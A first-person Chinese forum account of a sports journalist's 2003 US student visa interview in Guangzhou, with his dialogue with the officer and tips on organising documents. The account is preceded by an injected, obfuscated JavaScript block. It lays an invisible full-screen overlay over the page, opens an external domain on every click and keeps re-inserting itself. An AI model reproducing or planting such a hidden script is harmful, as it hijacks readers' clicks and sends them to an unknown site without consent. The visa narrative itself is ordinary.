<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>首战,小胡子亮出红牌
背景:中山大学中文系本科,在新闻媒体工作3年,专职体育记者,托福613、593,申请芝加哥某大学新闻学硕士。
对手:网上人称广州学子杀手的小胡子,此人身高177-178,体重估计160,明显标志是唇鼻之间的一抹小胡子。
交锋往绩:无
对赛结果:首度交锋,小胡子亮出红牌。
2003年5月27日的上午9:30或许将成为我生命中记忆最为深刻的一个瞬间……
缓步走出美国驻广州领事馆大门,我在人群中搜索太太的身影,四目相对,我微笑着扬起手中的红牌,太太拨开众人,跑到马路中间与我相拥。四周人群发出赞叹之声,“哦,签到了……”
3分钟之前,小胡子用标准的普通话告诉我:“明天下午三点,到领事馆正门领签证。”右手一挥,让我到一边凉快去了。经过被CHECK专区,向同一战壕的战友们说了一声:“祝你们好运!”拿着红牌低头走出签证大厅。
(小标)仿佛参加“选美会”
27日早上6点两个闹钟准时被激活,反正也睡得不太好,一骨碌爬起来就扎进洗手间。今天的俄罗斯方块似乎对我很好,但我还是在它准备给我出难题之前跟它BYE BYE了,我可不想把心情搞糟。洗漱完毕,用了点摩斯放在头上,再用风筒吹了个发型,LALPH LAUREN在身上显得特别白,西裤也笔挺的,脚上穿着结婚时买的皮鞋。太太拿出用购买八卦杂志换回来的BOSS HUGO试用装香水把我喷得香喷喷的,然后依次是须后水、润肤露,老妈进来一看:“嚯,这不是去选美吗!”
太太煮的爱心面味道很好,老妈的鸡汤也下足了料,可我不争气的胃此时却根本容不下任何东西,吞了两颗胃药,老妈、老爸的祝福尚在耳边回响,太太已经在楼下发动好汽车等着了。太太今天开车特别温柔,一路上也绿灯大开,20分钟到达沙面,不过像停车这样的高难度动作还得我亲自操作。
(小标)一不小心成了“老大”
本来预约的是7:30,美领门外已然排了两行队伍。奔着人少的那行站到最后,几分钟之后美领保安过带走了一队,然后说非移民签证的到那边排去,灰溜溜地弯腰过去,结果排在第二,在一位湖南阿婆后面,我后面是一位来自中大的生科院女生,权称师妹。
等待的时间总是过得很慢,于是就跟中大师妹聊了起来,聊起了秋日中大校道上斑驳的树影、汽车轮胎扬起地上的落叶、三五知己呼朋唤友地杀向饭堂、还有那块大草坪……还没等忆旧够本,保安就上来叫“非移民的走到大门口。”
大门口是例行的的检查护照、问预约号码、查看DS表,前面的湖南老太因为拿了一份旧的表而被要求重新填表,于是我成了整个队伍的“排头兵”。等的过程中,美领工作人员的小孩乘专车去上课,硕大的美国汽车在“移民”和“非移民”的夹道欢迎之中滑过,隔着玻璃窗,看见几个小孩子似乎很惊奇,为什么有这么多人要到他们的国家去?!“将来我回来了当中国VO,你要来中国得先问我!”脑海中闪过这样的念头,不知会不会太过心胸狭窄?
进入美领,保安又指示我带队到安检处。前面是一片开阔的绿草地,我带队迂回前进,突然想到一出HBO的电视剧,回头跟师妹说:“你有没有看过一出电视剧,叫做BAND OF BROTHERS?里面有一个场景就是一个人走在最前面,结果被诺曼底咖啡馆里的阻击手一枪给干掉了。”师妹笑而不语。
(小标)“我才不想去美国呢”
过了安检,进入签证大厅前又被查了一次预约号码,终于来到5号窗的长龙后面,1-4号窗口已经排了很多人了。
等待交资料的队伍里,和后面一个中年妇女聊了起来,得知她在某公司工作,给老美生产了一款机器,因为要拿到美国去验证,所以美方代表陪同她来签证。她身后的那位老美的确有够鹤立鸡群的,整个队伍里海拔最高之余,站在中国人之中也让他格外醒目。
中年妇女说:“我根本不想去美国,太累。去年我去开会时飞机一路是追着月亮飞,结果到了拉斯维加斯时差反应太厉害了,根本就是闭着眼睛开会的,连街也没去逛。他们过来还挺好,一路跟着太阳,所以反应不太大。”用手指指身后的老美。“你看我这中信的收据,去年交的钱,500多,听说现在涨价了,也不知道收不收,我从公司财务保险箱里拿出来的,当时交了钱一直没用。”结果这张收据真的惹了麻烦。
在5号窗交材料的人有探亲、有商务、有留学,还有一个去美国结婚的被要求去移民大厅交材料。大约20分钟之后就到我了,小姐把签证四宝收下之后叫我去4号窗排队。“4——*?!真不吉利。”不过也得过去啊。过了1分钟,师妹也被分过来了,于是两人继续聊天。
中年妇女交材料的时候果真有麻烦,小姐让她先去补交签证费。中年妇女一边往外走,一边说:“我不去了,烦死了。”
(小标)“战壕”里血流成河
4号窗口的队伍相对较短,我前面大概有5个人。8:30分,各窗口准时打开,4号窗口的VO是——唇鼻之间有一抹小胡子的美国人!难道是网上人称广州学子杀手的小胡子?不是说他凋走了吗?各位战友情报工作做得不足啊,盟军登陆受到敌方炮火严重阻击。
第一个是一个签F1的女生,标准的伦敦音,和小胡子聊了差不多10分钟,听见小胡子问她,你在广州住了多久了,女生回答1995年就到广州了,之后的问题都没听清,只看见小胡子甩出了白条。第二个好象是个老师,是去进修的,拿了家庭照片和很多作品,说了大概15分钟,丢出一张蓝条,估计是回家等消息。第三个看上去象个领导,去美国开会,小胡子问他要RESUME,结果没带,聊了一会让他回去补充材料明天再来。第四个是个台湾人,拿了本绿色的护照,用普通话与VO周旋,由于此人台湾国语口音较重,只大约知道他要去美国商务,结果是在小胡子手下领了白条走了。
第五个上去的是一穿套装的肉女,此肉女需特别开辟一段加以介绍。在大门口等候时,肉女浓妆艳抹却又姗姗来迟,径直走到大门口,与一身材矮小之美籍男子会合。美籍男子和保安打了招呼说谁谁谁到了,保安在名单上查了一下,问你就是本人吗?肉女说了几句我从没听过的英文就昂首入内,当时我暗自惭愧,学了十几年英语竟然连那几个单词是啥也没听懂!跟中国保安你也说英文,实在是牛!
肉女上前与小胡子打过招呼就开始讲述理由,与小胡子一问一答,时而递进材料,时而介绍自己是给客户提供什么服务,不同客户给不同服务之类的东西,好象是个卖金属材料的公司,总之老是听到“METAL”。肉女的英文现在才发现很烂,经常出现语法错误,特别是第三人称单数,好象只有英文的“是”讲得较好,总是“YEAB,YEAB”地跟小胡子点头。也许是肉女趴在柜台上的姿势过于诱人,保安走过来巡视,站在肉女后面就不动了。只见保安双眼上下游动,从凉鞋经丝袜再到开叉稍嫌过高的裙子,再到背影和肉女染得颇为入时的金发,根本没留意我正在严密监视他。
大概过了10分钟,小胡子给了肉女一张条子,记不得是什么颜色了,反正不是红的,因为下一个就到我上场了,实在没心思去管人家的事。
(小标)与小胡子“零距离”
小胡子伸出右手,五指做拨琴状,左手拿着我的护照示意我上前。我脑中闪电般滑过设计并模拟了无数次的台型,大步前进。走到柜台前,先用眼神与小胡子打了个招呼,然后从塑料袋中依次拿出两大本资料,一本相册和一个装着各种证书的透明袋子,从左至右摆在柜台上。此举的目的是让小胡子知道我是有备而来且沉着稳重的,小胡子见此也有点惊讶。做秀完毕后,我才抬起头来跟小胡子正式打了个招呼:“HELLO,SIR.HOW ARE YOU DOING?”一场历时15分钟的“零距离”交锋拉开战幕……(以下部分将用纪实手法描述,以求让各位战友体会最真实的签证实录。VO=小胡子,ME=我。)
VO:会说将英文吗?
ME:YES,OF COURSE I CAN.(说话时双手交叉于胸前,特意挺直身子,让小胡子看清本人全貌。此前见不少战友喜欢趴在柜台上面对VO,不敢苟同。)
VO(一边在电脑上敲键盘,一边翻看DS表):SO,YOU ARE JOURNALIST?
ME:YES,I HAVE BEEN WORKING FOR XXXX EVENING NEWS SPORTS DEPARTMENT FOR 3 YEARS AND A HALF,I AM A PROFFISIONAL SPORTS JOURNALIST.WOULD YOU LIKE TO SEE MY RESUME?
VO:NO.
又在电脑上乱敲了一阵,大概有15秒冷场,正当我犹豫如何挑起话题时,小胡子再度发话。
VO:WHAT IS YOU JOB ABOUT?
ME:MY DUTY FOCUSES ON OLYMPIC SPORTS AND NBA,I AM A COLUMNIST OF NBA.DO YOU LIKE NBA GAMES?
小胡子不置可否,继续翻看DS表。
VO:HOW DO YOU COVER YOUR REPORT?
ME(心里一动,这个问题没准备啊,也不是25、108问之中的,不过瞬间镇定下来。):WELL,I GO TO THE COURT(想说现场,不知怎么描述好,随口而出,管不得许多了。),I BUILD UP GOOD RELATIONSHIP WITH HEAD COACHES AND THE PLAYERS,I SEARCH INFORMATION FROM INTERNET,I WRITE ARTICLES。I WENT TO SHANGHAI TO COVER THE TENNIS MASTERS CUP,I SAW ANDRE AGGASI PLAYED TENNIS GAME。(连珠炮般甩出答案,也不管小胡子听清楚了没有。)
VO:YOU ARE MARRIED?(破天荒地冲我动了动嘴角,一抹小胡子往上翘了翘,难道是对我笑?)
ME:YES,I GOT MARRIED IN LAST OCTOBER。WOULD YOU LIKE TO SEE MY PICTURES?
VO:NO。(我的相册封面是透明的,第一张是我和太太在婚宴上交换戒指的照片。)
ME:IT IS VERY SWEET。(甜蜜地笑。)
VO:I KNOW THAT。(用眼睛的余光瞄了瞄照片。)
VO:HOW LONG HAVE YOU LIVED IN GUANGZHOU?
ME:ACTUALLY,I DON‘T LIVE IN GUANGZHOU,I LIVE IN THE CITY NEXT TO GUANGHZOU FOR MORE THAN 10 YEARS。
VO:CAN YOU SPEAK CANTONESE?
ME:YES,I CAN。你想听吗?(小胡子没有回答,似乎觉得我回答问题太过直接。)
VO:HOW MUCH IS YOUR MONTHLY SALARY?
ME(脑子里飞快地闪过65的字样):SIXTY-FIVE。
VO:你是说6500吗?
ME:YES,IT IS 6500。SORRY,I MADE A MISTAKE。
VO:DO YOU HAVE A PLAN TO COME BACK?
ME(终于问到典型的问题上了,松了口气,刚刚排队等候时还偷偷拿出答案来看了两眼。):I HAVE A DEFINITE PLAN TO COME BACK TO CHINA WHEN I GET THE DEGREE。IN THE LAST 3 YEARS,MY HARD WORK HAS GAINED ME SOCIAL POSITION,A HIGH SALARY AND GOOD REPUTATION,IF I DON’T COME I WILL LOSE MY CAR AND MY HOUSE……
VO(打断我的答案):YOU OWN A CAR AND A HOUSE WITH 6500 MONTHLY SALARY?
ME:YES,MY PARENTS PREPARED THEM FOR ME……(还没来得及说老爸有多牛,老妈有多猛就再度被打断。)
VO:GIVE ME YOUR RESUME。
ME(赶快翻开第一本资料,顺着编好的页码一下翻到工作部分,先拿出单位证明):THIS IS MY JOB CERTICIFICATION(接着翻到下一页),AND THIS IS MY WORKER‘ ID。(准备材料时,我把工作证和国际体育记者协会记者证的原件用双面胶贴到材料上,这一招事后证实很有效。)I WORK FOR INTERNAITONAL SPORTS JOURNALISTS ASSOCIATION。
VO:WHY NOT YOU GO AND SIT ON THOSE CHAIRS,WAIT ABOUT 10 OR 15 MINUTES,I WILL CALL YOU。
ME:OK,THANK YOU。(慢慢收拾好材料,再用眼神打了个招呼就凉快去了。)
有的战友说等待被CHECK是最痛苦的煎熬,可在这10分钟内我却不觉得有多难过,因为我碰到了来陪签的美国大牛(这位老美的长相酷似BAND OF BROTHERS里面人称大牛的蓝道曼,曾经在美国军队里开过军用大开车。他的话语妙趣横飞,容我之后再赘述。)。和大牛聊聊广州的交通、美国的枪支泛滥、VO的权利还有大牛当年的威水史,一会就听到音响里在喊我的名字。
ME:NICE TO SEE YOU AGAIN,SIR。
VO:ARE YOUR PARENTS STILL IN 东北?
ME:NO,THEY ARE NOT。THEY LIVE WITH ME。
小胡子问完这个问题就拿出DS表在上面圈圈点点,又在电脑上狂敲键盘,下手太快以致电脑里总是发出“叮叮”的错误提示音。
在这30秒钟内,我不断转动左手无名指上的结婚钻戒,这是我紧张时候会做的习惯动作,脑子里想的却是另外一回事:签不成就算了,反正回去继续工作,或许搬到广州去住,再换一台车,说不定把工作也换了……
想入还没非非,小胡子就把我拽回来了:“明天下午三点,到领事馆正门领签证。”一手撕下一张红牌塞到我手上。
ME:THANK YOU,SIR。
小胡子示意我赶快走,我却利用这最后的机会让他着实高兴了一下。
ME:DO YOU KNOW THAT……WITH THIS BEARD,YOU LOOD LIKE PHIL JACKSON。(小胡子被我说得一阵迷糊,用茫然的眼神看着我。)PHIL JACKSON,THE HEAD COACH OF LA LAKERS。
小胡子这才意识到我在吹捧他,嘴角一动,右手一挥,我也很识趣:THANK YOU,SIR。HAVE A NICE DAY。赶快走人。
(小标)我在美国开军车
签经写到这里,又得把话说回头,说说我在等待的10分钟里经历。
坐在CHAIR上,和旁边的大牛聊起天来。排队等待进美领的时候,和大牛讨论过拉斯维加斯的赌场是不是每个灯泡里都有摄象机,如果作弊的话后果如何。大牛的第一句话是:“THEY HAVE THE RIGHT TO DO THAT.”大牛的意思是说VO有权利让你在旁边等,而在美国他们无权这样做。大牛的豪言壮语是,如果有人对我不礼貌,“我跟他拼到最后一颗子弹”。据大牛自己介绍,他在美国军队服过役,当时开的是军车,所以他来了中国一样可以开车,即使是在广州。我说:“广州的交通可是噩梦啊。”大牛想了一下,说:“WORSE THAN NIGHTMARE。”接着又说,不过我觉得没问题,在美国我还开过赛车,所以反应很快,不会出事故。
次日领签证时,大牛陪签的中年妇女,就是签证费交得不够被要求补交的,跟我聊起了大牛的趣事。大牛开车飞快,27日早上6点从深圳出发,7点30就到沙面美领了。一路上车速基本上没下过160,超车的方法极具F1(指一级方程式赛车)风范,追着人家的屁股,就差两米就咬住了,然后一闪灯,前面的司机吓得赶快让道,然后一踩油门就过了。后来中年妇女提醒大牛,告诉公路上有电子测速装置,会被照相兼罚款。大牛这下学乖了,一看到有测速标志就猛地一脚踩刹车,车速从160掉到110,结果中年妇女当天晚上回深圳找了个按摩院好好按摩了一下脖子。
和大牛聊天的过程中,一个签F1的小个子男生也被CHECK了,后来被3号窗的超帅VO(长得像GUARDIAN里面的男主角)发了条,回家等消息。“惨了,得等华盛顿批准,可能得等两三个月,惨了惨了。”话虽这样说,可脸上分明带着笑容,俨然如同已经拿到VISA。对于这位小个子战友,我想斗胆说两句:个子稍微矮一点的男生最好选择休闲一点的衣服。这位战友穿了一身西装、打了领带,虽然很正式,可怎么看都觉得撑不住西装,像是顶着个洗衣机来签证。
(小标)自信是个“副产品”
沉闷不是我的性格,可为了能让广大战友有所收获,还是装一回深沉吧……
先说材料的准备吧。在美领里看到许多去签证的人,觉得相比之下自己的材料还是做得相当不错,因为的确是下了苦功。
首先要搞清楚你自己到底需要突出哪一部分自我优势,也就是能抓得住VO“眼球”的东西。因为我是记者,而且工作了三年多,所以曾经发表过的报道成了卖点。我把报纸细心折好放在资料夹里,有署名的地方全部用荧光笔HIGHLIGHT过。有的报纸是用铜版纸印刷的,照片用的是路透社的,相当精彩,在视觉上就能给VO以强烈冲击。虽然小胡子没看这部分材料,我想他一看了觉得会印象深刻的。
第二个观点是版块论。所谓版块就是说把材料分成几个版块,我自己的材料分成学习(STUDY)、工作(WORK)、财力(FINANCIAL)、补充材料(ADDITIONAL)4个部分,每个部分都放入了相对应的资料。以工作部分为例,我依次放了工作及收入证明(中英文)、工作证和国际体育记者证、初级编辑资格证、获奖证书及报社奖励文件和一些奖状,总之是能证明我在报社工作且是一个优秀记者的资料。
第三个观点是举轻若重,也就是在准备材料时要仔细,材料应该是详实的,千万别等VO问你拿的时候才想起来没准备。我对“举轻若重”的最深刻体会是,在准备材料时一定要考虑查找、翻看时的方便。前面提到我的资料分成几大部分,在整本材料的扉页设计了一个CHECKLIST,内容有中英文对照,还有页码,在每一页下面都用小标签编了页码。在每个部分的分界处,用小标签加以分隔,标签上列明该部分内容,方便自己之余,VO翻看起来也方便。
第四是要有整合的意识。以学位证为例,我把学校开出的学位证中英文对照和公证书用回型针夹在一起,只要VO想看,有关该内容的所有材料都能一下子就拿出来,VO想不看都不行。
在材料准备方面,我太太的确帮了我很多,很多细致地方都是她先想到的,也是她帮我做的,心灵手巧的她总是用办公室的激光打印机和激光复印机把我的材料搞得漂漂亮亮。在材料的版块化和整合方面,我们曾经为了一页材料的摆放位置和排序吵架,可最后效果出来大家都觉得很好。列财产清单时,我们把RMB换算成USD,可USD到底用约数还是具体到元角分,两个人也吵得面红耳赤。现在回想起来,这些材料准备过程中的事情的确十分繁琐,可它却点点滴滴地积累着你的信心。
再说说看签经的故事。相信战友们都有在网上看签经的经历,看看别人的故事,想想自己的实际,这是每个人都应该做的。从开始看签经的第一天起,我就拿了一本笔记本,把每个签经故事的过程、问题、别人材料的准备,以及很多战友的善意提醒都记下来,每个案例的成功之处、不足之处,我都尝试着分析一下。如果有讲到领事馆内部的详细情况,我格外留意,当时进入美领后觉得不会太陌生。日积月累,一个月之中我记了小半本。这样做的负面效果是,我“贡献”出了我的胃,每次一紧张我的胃就会不由自主地痛,胃药也就成了随身携带的必需品。
在男生之中,我应该算比较爱打扮的。签证前两周,我特意去理发,因为离签证日期太近理发的话发型会不自然,我还特意提醒理发师,我两周后有“人生大事”,结果他以为我要结婚。香水似乎是女生的专利,可男老外们也挺喜欢用,搞支试用装喷喷又何妨,况且是太太买八卦杂志送的。每次刮完胡子后都用须后水。每天睡觉前,太太总是用润肤露、眼霜安抚我因为打网球而被太阳晒得黝黑的皮肤。3个礼拜下来,皮肤似乎好了许多。衣服方面,我选了一件LALRPH LAUREN的衬衫,听我在英语辅导班的外教老师说他们在美国都喜欢这个牌子,裤子选了条灰色的,搭配起来比较自然,又不会太夸张。
关于口语训练,我在广州的一家英语辅导中心报了课程。班上教的英语很简单,但老师是美加的,我争取多发言,多讨论,表演小品争当主角。课间跟老师聊聊BAND OF BROTHERS、SAVING PRIVATE RYAN,侃侃打MEDAL OF HONOR……口语在不知不觉中有所进步。参加课程前的口语面试遇到了RON,两人一见如故,每周一一起和早茶,聊中国和美国的风土人情,对消除面对VO时的紧张感觉很有效。签证前一天还一起打网球,RON提出要打比赛,被我以6比2、6比1放倒,中午吃快餐时又跟他说了乾隆微服出巡的故事,突然发现自己的英文原来他都可以听懂了,自信心自然爆棚!希望RON有一天能看懂中文又或是有人转告给你的时候不要怪我,我真的觉得RON对我的帮助很大,尤其是纠正我的第三人称单数和HE/SHE不分时。
在看签经的过程中,有一段话说得很在理,我把它记在笔记本里:充分准备是上策;把签证当成去银行取钱;给自己定一个低一点的底线;思路要清晰,说服自己才能说服别人;自然的笑容最好,不笑也不见得有多不好;把VO当成普通外国朋友,把签证想象成告诉外国朋友你对此事的看法吧;自信很重要,是充分准备后的副产品,是由内向外而来的。
(小标)负重前行
手持红条,我低头走出美领——不想看到战友们投射过来的眼光,大家都应该有机会的。
一路往外走,千头万绪涌上心头,美国真的那么好吗;我为什么要费这么大的力跑到美领来,证明自己还有很多方法啊;我有工作、有房子、有车、有心爱的太太和家人,为什么跑到大洋彼岸去过苦日子?看着那么多同胞排在移民或者非移民的队伍里,真不知该说些什么好,只希望祖国能早日繁荣、强大,大家都能过上好日子。
最后说一句,两年后我会回来的,回来为祖国做更多的贡献,毕竟,这是我的家。 |